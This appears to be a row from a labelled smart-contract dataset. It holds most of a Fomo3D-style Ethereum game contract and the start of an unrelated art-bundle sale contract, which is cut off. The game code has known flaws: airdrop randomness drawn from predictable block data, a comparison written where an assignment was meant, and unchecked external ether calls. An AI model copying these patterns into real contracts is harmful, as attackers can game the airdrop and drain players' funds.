function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit MC2events.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit MC2events.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit MC2events.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, MC2datasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit MC2events.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.UPAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, MC2datasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit MC2events.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.UPAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, MC2datasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(MC2datasets.EventReturns memory _eventData_)
private
returns (MC2datasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, MC2datasets.EventReturns memory _eventData_)
private
returns (MC2datasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(MC2datasets.EventReturns memory _eventData_)
private
returns (MC2datasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _up = (_pot.mul(potSplit_[_winTID].up)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_up);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
if (!address(Jekyll_Island_Inc).call.value(_com)(bytes4(keccak256("deposit()"))))
{
_up = _up.add(_com);
_com = 0;
}
round_[_rID].mask = _ppt.add(round_[_rID].mask);
if (_up > 0)
Divies.deposit.value(_up)();
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.UPAmount = _up;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, MC2datasets.EventReturns memory _eventData_)
private
returns(MC2datasets.EventReturns)
{
uint256 _com = _eth / 50;
uint256 _up;
if (!address(Jekyll_Island_Inc).call.value(_com)(bytes4(keccak256("deposit()"))))
{
_up = _com;
_com = 0;
}
uint256 _long = _eth / 100;
otherMC2_.potSwap.value(_long)();
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit MC2events.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_up = _aff;
}
_up = _up.add((_eth.mul(fees_[_team].up)) / (100));
if (_up > 0)
{
Divies.deposit.value(_up)();
_eventData_.UPAmount = _up.add(_eventData_.UPAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit MC2events.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, MC2datasets.EventReturns memory _eventData_)
private
returns(MC2datasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].up)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, MC2datasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit MC2events.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.UPAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(
msg.sender == 0x1d85A7C26952d4a7D940573eaE73f44D0D6Fa76D ||
msg.sender == 0x5724fc4Abb369C6F2339F784E5b42189f3d30180 ||
msg.sender == 0x6Be04d4ef139eE9fd08A32FdBFb7A532Fe9eD53F ||
msg.sender == 0x53E3E6444C416e2A981644706A8E5E9C13511cf7 ||
msg.sender == 0xEeF4f752D105fEaCB288bB7071F619A2E90a34aC,
"only team just can activate"
);
require(address(otherMC2_) != address(0), "must link to other MC2 first");
require(activated_ == false, "fomo3d already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
function setOtherFomo(address _otherMC2)
public
{
require(
msg.sender == 0x1d85A7C26952d4a7D940573eaE73f44D0D6Fa76D ||
msg.sender == 0x5724fc4Abb369C6F2339F784E5b42189f3d30180 ||
msg.sender == 0x6Be04d4ef139eE9fd08A32FdBFb7A532Fe9eD53F ||
msg.sender == 0x53E3E6444C416e2A981644706A8E5E9C13511cf7 ||
msg.sender == 0xEeF4f752D105fEaCB288bB7071F619A2E90a34aC,
"only team just can activate"
);
require(address(otherMC2_) == address(0), "silly dev, you already did that");
otherMC2_ = otherMC2(_otherMC2);
}
}
library MC2datasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 UPAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 up;
}
struct PotSplit {
uint256 gen;
uint256 up;
}
}
library MC2KeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface otherMC2 {
function potSwap() external payable;
}
interface MC2SettingInterface {
function getFastGap() external returns(uint256);
function getLongGap() external returns(uint256);
function getFastExtra() external returns(uint256);
function getLongExtra() external returns(uint256);
}
interface DiviesInterface {
function deposit() external payable;
}
interface JIincForwarderInterface {
function deposit() external payable returns(bool);
function status() external view returns(address, address, bool);
function startMigration(address _newCorpBank) external returns(bool);
function cancelMigration() external returns(bool);
function finishMigration() external returns(bool);
function setup(address _firstCorpBank) external;
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 1 | 3,939 |
pragma solidity ^0.5.0;
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, "ds-math-add-overflow");
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, "ds-math-sub-underflow");
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow");
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
function imin(int x, int y) internal pure returns (int z) {
return x <= y ? x : y;
}
function imax(int x, int y) internal pure returns (int z) {
return x >= y ? x : y;
}
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function rmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, RAY), y / 2) / y;
}
function rpow(uint x, uint n) internal pure returns (uint z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
}
contract Bank is DSMath {
mapping(address => uint) public balances;
function deposit() public payable returns (uint balance) {
balances[msg.sender] = add(balances[msg.sender], msg.value);
return balances[msg.sender];
}
function withdraw(uint amount) public returns (uint remainingBalance){
require(min(amount,balances[msg.sender]) == amount);
balances[msg.sender] = sub(balances[msg.sender],amount);
msg.sender.transfer(amount);
return balances[msg.sender];
}
function balance() view public returns (uint) {
return balances[msg.sender];
}
}
contract OwnsArtSplit is DSMath, Bank{
struct Bundle{
address owner;
uint decayedTime;
}
uint public constant exponentMask = 0xff00000000000000000000000000000000000000000000000000000000000000;
uint public constant generationMask = 0x00fffffffffffffffffffffffffffffff0000000000000000000000000000000;
uint public constant siblingMask = 0xff0000000000000000000000000000000fffffffffffffffffffffffffffffff;
mapping(uint => Bundle) public bundleTable;
mapping(uint8 => mapping(uint128 => uint128)) public siblingTable;
address public artist;
uint public constant price = 0.01 ether;
uint public constant resaleFee = 0.001 ether;
uint public constant maxBundlesPerPurchase = 0xff;
uint public constant maxBundleExponent = 16;
uint public constant artDecayTime = 30 days;
uint public constant itemsPerBundle = 10;
bool private buyArtMutex = false;
event LogPurchase(uint[] destroyedBundleID, uint[] createdBundleID1, uint[] createdBundleID2, uint decay, address buyer);
event LogBundling(uint[] bundledIDs, uint newBundleID, uint decay, address bundler);
event LogUnbundling(uint unbundledID, uint[] newBundleIDs, uint decay, address bundler);
constructor() public {
artist = msg.sender;
bundleTable[0] = Bundle(msg.sender, now+artDecayTime);
siblingTable[0][0] = 1;
}
function buyArtworkBundles(uint[] memory bundleIDs) public{
require(min(bundleIDs.length,maxBundlesPerPurchase)==bundleIDs.length,"Cannot buy too many bundles at once.");
uint8 numberOfBundles = uint8(bundleIDs.length);
require(numberOfBundles != 0,"Must buy more than zero bundles.");
uint[] memory createdBundleID1 = new uint[](numberOfBundles);
uint[] memory createdBundleID2 = new uint[](numberOfBundles);
require(!buyArtMutex,"Only one person can buy bundles at the same time. Try again later.");
buyArtMutex = true;
for (uint i=0; i<numberOfBundles; i++) {
Bundle memory bundle = bundleTable[bundleIDs[i]];
(uint128 generation, , uint8 exponent) = splitBundleID(bundleIDs[i]);
require(testValidBundle(bundle),"Bundle is invalid. Check decaytime, existence.");
require(bundle.owner != msg.sender,"Buyer cannot be same as current owner.");
require(min(exponent,maxBundleExponent)==exponent,"Exponent cannot be too large");
uint multiplier = itemsPerBundle**uint(exponent);
balances[msg.sender] = sub(balances[msg.sender],price*multiplier);
balances[bundle.owner] = add(balances[bundle.owner],sub(price*multiplier,resaleFee*multiplier));
balances[artist] = add(balances[artist],resaleFee*multiplier);
delete bundleTable[bundleIDs[i]] ;
uint128 sibling = siblingTable[exponent][generation+1];
uint bundleID1 = generateBundleID(generation+1,sibling,exponent);
uint bundleID2 = generateBundleID(generation+1,sibling+1,exponent);
Bundle memory newBundle = Bundle(msg.sender, add(now, artDecayTime));
bundleTable[bundleID1] = newBundle;
bundleTable[bundleID2] = newBundle;
createdBundleID1[i] = bundleID1;
createdBundleID2[i] = bundleID2;
siblingTable[exponent][generation+1] = siblingTable[exponent][generation+1] + 2;
}
emit LogPurchase(bundleIDs,createdBundleID1,createdBundleID2,add(now,artDecayTime),msg.sender);
buyArtMutex = false;
}
function bundling(uint[] memory bundleIDs) public{
require(bundleIDs.length == itemsPerBundle);
(,,uint8 exponent) = splitBundleID(bundleIDs[0]);
require(min(exponent,maxBundleExponent-1)==exponent);
uint soonestDecay = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff;
for (uint i=0; i<itemsPerBundle; i++){
Bundle memory bundle = bundleTable[bundleIDs[i]];
(,,uint8 currentExponent) = splitBundleID(bundleIDs[i]);
require(currentExponent == exponent,"All bundles must have the same exponent");
require(testValidBundle(bundle),"Bundle is invalid. Check decaytime, existence.");
require(bundle.owner == msg.sender, "Cannot bundle items sender does not own.");
delete bundleTable[bundleIDs[i]];
if(min(soonestDecay,bundle.decayedTime)==bundle.decayedTime){
soonestDecay = bundle.decayedTime;
}
}
uint128 generation = 0;
uint128 sibling = siblingTable[exponent+1][generation];
uint newBundleID = generateBundleID(generation,sibling,exponent+1);
bundleTable[newBundleID] = Bundle(msg.sender, soonestDecay);
siblingTable[exponent+1][generation] = sibling + 1;
emit LogBundling(bundleIDs,newBundleID,soonestDecay,msg.sender);
}
function unbundling(uint bundleID) public{
(,,uint8 exponent) = splitBundleID(bundleID);
require(min(exponent,maxBundleExponent)==exponent,"Exponent must be less than max.");
